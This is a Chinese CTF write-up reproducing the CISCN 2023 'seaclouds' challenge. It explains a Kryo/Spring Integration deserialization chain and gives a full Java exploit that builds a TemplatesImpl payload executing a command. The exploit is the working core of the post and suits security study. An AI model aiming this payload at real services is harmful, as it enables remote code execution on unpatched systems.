【Web】记录CISCN 2023 西南半决赛 seaclouds题目复现

2024-04-26 03:44

本文主要是介绍【Web】记录CISCN 2023 西南半决赛 seaclouds题目复现,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

目录

原理速览

构造细节

EXP


原理速览

在Spring依赖下,可以触发jackson的BaseJsonNode#toString,从而调用getter,而后为所欲为

【Web】浅聊Jackson序列化getter的利用——POJONode_jackson 序列化时指定get方法

【Web】浅聊Java反序列化之Rome——关于其他利用链

至于如何调用toString,对于原生反序列化,走BadAttributeValueExpException最为方便,对于Field型的非原生反序列化, 如果对于Map的反序列化过程有类似HashMap#put的实现,就可以考虑HotSwappableTargetSource利用链

【Web】关于Java反序列化那些实现机制的朴素通识

而本题用的是kyro进行非原生反序列化,并且有上述后者的实现机制,就可以用HotSwappableTargetSource链来打,调用getter后再选择SignedObject打二次反序列化

构造细节

拿到源码似乎并没有直接给出反序列化入口,也没有看到waf

可以做文章的也就是最后return的代码

先是初始化了一个CodecMessageConverter对象,传入了codec为MessageCodec,并默认设置messageClass为GenericMessage.class

简单搜索关于CodecMessageConverter,再结合源码里给到的fromMessage和toMessage方法,不难理解其序列化和反序列化的功能

 

实例化完毕后接着再调用其toMessage方法

Message<?> decoded = (Message)this.codec.decode((byte[])((byte[])payload), this.messageClass);
这里,代码尝试将 byte[] 类型的 payload 解码成一个 Message<?> 对象。这个操作依赖于一个编解码器 codec,可能涉及从二进制数据到一个特定的消息对象的转换。this.messageClass 提供了目标消息的类信息,用于解码过程中确定具体的消息类型。

这里指定了解码的类型为this.messageClass(GenericMessage),所以后面构造的时候要用GenericMessage将payload封装起来(显然不影响HashMap的属性被put)

GenericMessage genericMessage = new GenericMessage(hashMap);
byte[] decodemsg = (byte[]) codecMessageConverter.fromMessage(genericMessage, null);
System.out.println(URLEncoder.encode(Base64.getEncoder().encodeToString(decodemsg), "UTF-8"));

最后的最后,题目调用了getPayload(),这个方法是GenericMessage类的,这也印证了我们反序列化得到的结果是个GenericMessage对象

EXP

package com.sea;
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xpath.internal.objects.XString;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import javassist.CtNewConstructor;
import org.springframework.aop.target.HotSwappableTargetSource;
import org.springframework.integration.codec.CodecMessageConverter;
import org.springframework.integration.codec.kryo.MessageCodec;
import org.springframework.messaging.Message;
import org.springframework.messaging.MessageHeaders;
import org.springframework.messaging.support.GenericMessage;import javax.management.BadAttributeValueExpException;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.net.URLEncoder;
import java.security.*;
import java.util.Base64;
import java.util.HashMap;public class EXP {public static void main(String[] args) throws Exception {// 二次反序列化 BadAttributeValueExpException -> POJONode -> TemplatesImplClassPool pool = ClassPool.getDefault();CtClass ctClass = pool.makeClass("Evil");ctClass.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));CtConstructor ctConstructor = CtNewConstructor.make("public EvilGeneratedByJavassist(){Runtime.getRuntime().exec(\"calc\");}", ctClass);ctClass.addConstructor(ctConstructor);byte[] byteCode = ctClass.toBytecode();TemplatesImpl templates = new TemplatesImpl();setFieldValue(templates, "_name", "whatever");setFieldValue(templates, "_bytecodes", new byte[][]{byteCode});POJONode pojoNode1 = new POJONode(templates);BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException("whatever");setFieldValue(badAttributeValueExpException, "val", pojoNode1);// 一次反序列化 HotSwappableTargetSource -> XString -> POJONode -> SignedObject// 初始化 SignedObjectKeyPairGenerator keyPairGenerator;keyPairGenerator = KeyPairGenerator.getInstance("DSA");keyPairGenerator.initialize(1024);KeyPair keyPair = keyPairGenerator.genKeyPair();PrivateKey privateKey = keyPair.getPrivate();Signature signingEngine = Signature.getInstance("DSA");// 设置二次反序列化入口SignedObject signedObject = new SignedObject(badAttributeValueExpException, privateKey, signingEngine);POJONode pojoNode2 = new POJONode(signedObject);HotSwappableTargetSource h1 = new HotSwappableTargetSource(pojoNode2);HotSwappableTargetSource h2 = new HotSwappableTargetSource(new XString("whatever"));// 手动构造 HashMap 以防触发正向利用链HashMap hashMap = new HashMap();setFieldValue(hashMap, "size", 2);Class nodeC;nodeC = Class.forName("java.util.HashMap$Node");Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);nodeCons.setAccessible(true);Object tbl = Array.newInstance(nodeC, 2);Array.set(tbl, 0, nodeCons.newInstance(0, h1, "whatever", null));Array.set(tbl, 1, nodeCons.newInstance(0, h2, "whatever", null));setFieldValue(hashMap, "table", tbl);CodecMessageConverter codecMessageConverter = new CodecMessageConverter(new MessageCodec());// 序列化GenericMessage genericMessage = new GenericMessage(hashMap);byte[] decodemsg = (byte[]) codecMessageConverter.fromMessage(genericMessage, null);System.out.println(URLEncoder.encode(Base64.getEncoder().encodeToString(decodemsg), "UTF-8"));// 反序列化Message<?> messagecode = codecMessageConverter.toMessage(decodemsg, (MessageHeaders) null);messagecode.getPayload();}public static void setFieldValue(Object obj, String name, Object value) throws Exception {Field field = obj.getClass().getDeclaredField(name);field.setAccessible(true);field.set(obj, value);}
}

利用链

CodecMessageConverter-> toMessage(decodemsg, ...)this.codec.decode(decodemsg, ...)AbstractKryoCodec-> decode(decodemsg, ...)PojoCodec-> doDecode(...)Kryo-> readObject(...)MapSerializer-> read(...)Map#put(hotSwappableTargetSource, ...)HotSwappableTargetSource-> equals(...)XString-> equals(pojoNode)BaseJsonNode-> toString()InternalNodeMapper#nodeToString(this)SignedObject-> getObject()a.readObject()BadAttributeValueExpException-> readObject()valObj.toString()BaseJsonNode-> toString()InternalNodeMapper#nodeToString(this)TemplatesImpl-> getOutputProperties()...

这篇关于【Web】记录CISCN 2023 西南半决赛 seaclouds题目复现的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/936626

相关文章

统一返回JsonResult踩坑的记录

《统一返回JsonResult踩坑的记录》:本文主要介绍统一返回JsonResult踩坑的记录,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录统一返回jsonResult踩坑定义了一个统一返回类在使用时,JsonResult没有get/set方法时响应总结统一返回

Go学习记录之runtime包深入解析

《Go学习记录之runtime包深入解析》Go语言runtime包管理运行时环境,涵盖goroutine调度、内存分配、垃圾回收、类型信息等核心功能,:本文主要介绍Go学习记录之runtime包的... 目录前言:一、runtime包内容学习1、作用:① Goroutine和并发控制:② 垃圾回收:③ 栈和

java对接海康摄像头的完整步骤记录

《java对接海康摄像头的完整步骤记录》在Java中调用海康威视摄像头通常需要使用海康威视提供的SDK,下面这篇文章主要给大家介绍了关于java对接海康摄像头的完整步骤,文中通过代码介绍的非常详细,需... 目录一、开发环境准备二、实现Java调用设备接口(一)加载动态链接库(二)结构体、接口重定义1.类型

apache的commons-pool2原理与使用实践记录

《apache的commons-pool2原理与使用实践记录》ApacheCommonsPool2是一个高效的对象池化框架,通过复用昂贵资源(如数据库连接、线程、网络连接)优化系统性能,这篇文章主... 目录一、核心原理与组件二、使用步骤详解(以数据库连接池为例)三、高级配置与优化四、典型应用场景五、注意事

python web 开发之Flask中间件与请求处理钩子的最佳实践

《pythonweb开发之Flask中间件与请求处理钩子的最佳实践》Flask作为轻量级Web框架,提供了灵活的请求处理机制,中间件和请求钩子允许开发者在请求处理的不同阶段插入自定义逻辑,实现诸如... 目录Flask中间件与请求处理钩子完全指南1. 引言2. 请求处理生命周期概述3. 请求钩子详解3.1

SpringBoot实现文件记录日志及日志文件自动归档和压缩

《SpringBoot实现文件记录日志及日志文件自动归档和压缩》Logback是Java日志框架,通过Logger收集日志并经Appender输出至控制台、文件等,SpringBoot配置logbac... 目录1、什么是Logback2、SpringBoot实现文件记录日志,日志文件自动归档和压缩2.1、

qtcreater配置opencv遇到的坑及实践记录

《qtcreater配置opencv遇到的坑及实践记录》我配置opencv不管是按照网上的教程还是deepseek发现都有些问题,下面是我的配置方法以及实践成功的心得,感兴趣的朋友跟随小编一起看看吧... 目录电脑环境下载环境变量配置qmake加入外部库测试配置我配置opencv不管是按照网上的教程还是de

SpringBoot项目Web拦截器使用的多种方式

《SpringBoot项目Web拦截器使用的多种方式》在SpringBoot应用中,Web拦截器(Interceptor)是一种用于在请求处理的不同阶段执行自定义逻辑的机制,下面给大家介绍Sprin... 目录一、实现 HandlerInterceptor 接口1、创建HandlerInterceptor实

Web技术与Nginx网站环境部署教程

《Web技术与Nginx网站环境部署教程》:本文主要介绍Web技术与Nginx网站环境部署教程,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录一、Web基础1.域名系统DNS2.Hosts文件3.DNS4.域名注册二.网页与html1.网页概述2.HTML概述3.

使用nohup和--remove-source-files在后台运行rsync并记录日志方式

《使用nohup和--remove-source-files在后台运行rsync并记录日志方式》:本文主要介绍使用nohup和--remove-source-files在后台运行rsync并记录日... 目录一、什么是 --remove-source-files?二、示例命令三、命令详解1. nohup2.